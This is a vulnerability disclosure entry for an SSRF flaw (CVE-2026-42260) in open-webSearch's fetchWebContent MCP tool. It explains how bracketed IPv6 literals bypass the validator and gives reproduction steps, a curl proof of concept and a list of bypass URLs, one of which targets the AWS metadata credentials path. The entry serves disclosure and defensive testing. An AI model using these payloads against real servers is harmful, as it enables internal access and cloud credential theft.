# open-websearch has SSRF in `fetchWebContent` MCP tool: bracketed IPv6 literals and non-resolving hostname check bypass `isPrivateOrLocalHostname`

open-webSearch's fetchWebContent SSRF guard never strips IPv6 brackets nor resolves DNS, so bracketed loopback literals reach internal services and return the body.

- Payout: Research
- Severity: high
- Program: open-webSearch
- Found by: shmulc8
- Disclosed: 2026-05-05
- CVE: CVE-2026-42260
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-v228-72c7-fx8j
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-v228-72c7-fx8j
- Tags: area:oss domain:oss impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:llm tech:nodejs technique:source-review vuln:access-control vuln:ssrf

**Target:** MCP HTTP server tool fetchWebContent (urlSafety.ts validator + axios fetch)
**Root cause:** isPrivateOrLocalIp calls isIP() on URL.hostname which retains IPv6 brackets, so isIP returns 0 and no private-IP branch runs; additionally the hostname check never resolves DNS, so attacker-controlled names pointing at private IPs pass.
**Steps:**
1. Clone Aas-ee/open-webSearch, `npm install && npm run build`, start `MODE=http PORT=3000 node build/index.js`
2. Start canary HTTP server on `127.0.0.1:19999`
3. POST `/mcp` initialize with `Accept: application/json, text/event-stream`, capture `mcp-session-id`
4. POST `notifications/initialized` with the session id
5. POST `tools/call` with `{"name":"fetchWebContent","arguments":{"url":"http://[::ffff:7f00:1]:19999/internal","maxChars":10000}}`
6. Canary logs `GET /internal from 127.0.0.1`; response body appears in `content[0].text`
**How found:** Code-read of urlSafety.ts: noticed isPrivateOrLocalIp relies on isIP(hostname) but WHATWG URL.hostname keeps brackets for IPv6 literals; ran the real validator under tsx against a table of bracketed inputs and saw every one pass while 127.0.0.1/localhost were blocked, then confirmed axios actually connects via a loopback canary.
**Exploitation:** Any client reaching the unauthenticated `/mcp` (or `/sse`) endpoint on 0.0.0.0:3000 with CORS `*` invokes fetchWebContent with a bracketed IPv6 URL such as `http://[::ffff:7f00:1]:<port>/` or `http://[::ffff:a9fe:1]/latest/meta-data/iam/security-credentials/`; axios resolves via the IPv4 stack and the tool returns the full response body and headers to the caller. Also reachable via stdio by a prompt-injected MCP client.
**Escalation:** Chained with no-auth HTTP transport and CORS `*` to allow a victim's browser to issue tool calls and exfiltrate responses via XHR; AWS EC2 metadata credentials reachable via `[::ffff:a9fe:1]`.
**Insight:** When auditing SSRF guards, check whether the validator operates on URL.hostname raw — Node keeps `[...]` on IPv6 literals so isIP() returns 0 and the private-IP branch is skipped entirely; also test IPv4-mapped forms like `[::ffff:7f00:1]` which the OS routes over the IPv4 stack.

## Proof of concept (copied exactly from the original report)

**MCP tools/call fetchWebContent with IPv6-mapped loopback URL**

```
curl -sS -X POST http://127.0.0.1:3000/mcp \
  -H "Accept: $ACCEPT" -H 'Content-Type: application/json' -H "mcp-session-id: $SID" \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{
        "name":"fetchWebContent",
        "arguments":{"url":"http://[::ffff:7f00:1]:19999/internal","maxChars":10000}
      }}'
```

**axios.get to bracketed IPv4-mapped loopback reaching canary**

```
axios.get("http://[::ffff:7f00:1]:29999/")</code> from Node; the request reached the server:</p>
<pre><code>  HIT: / from 127.0.0.1 family IPv4
http://[::ffff:7f00:1]:29999/ -> 200 &#x3C;html>internal content&#x3C;/html>
```

**Validator bypass test vectors for bracketed IPv6 literals**

```
for (const url of [
  'http://[::1]/', 'http://[::]/',
  'http://[::ffff:127.0.0.1]/', 'http://[::ffff:7f00:1]/',
  'http://[0:0:0:0:0:ffff:127.0.0.1]/',
  'http://[0:0:0:0:0:0:0:1]/', 'http://[::0:1]/', 'http://[0:0::1]/',
  'http://[::ffff:a00:1]/', 'http://[::ffff:c0a8:1]/', 'http://[::ffff:a9fe:1]/',
]) expect(isPublicHttpUrl(url)).toBe(false);
```

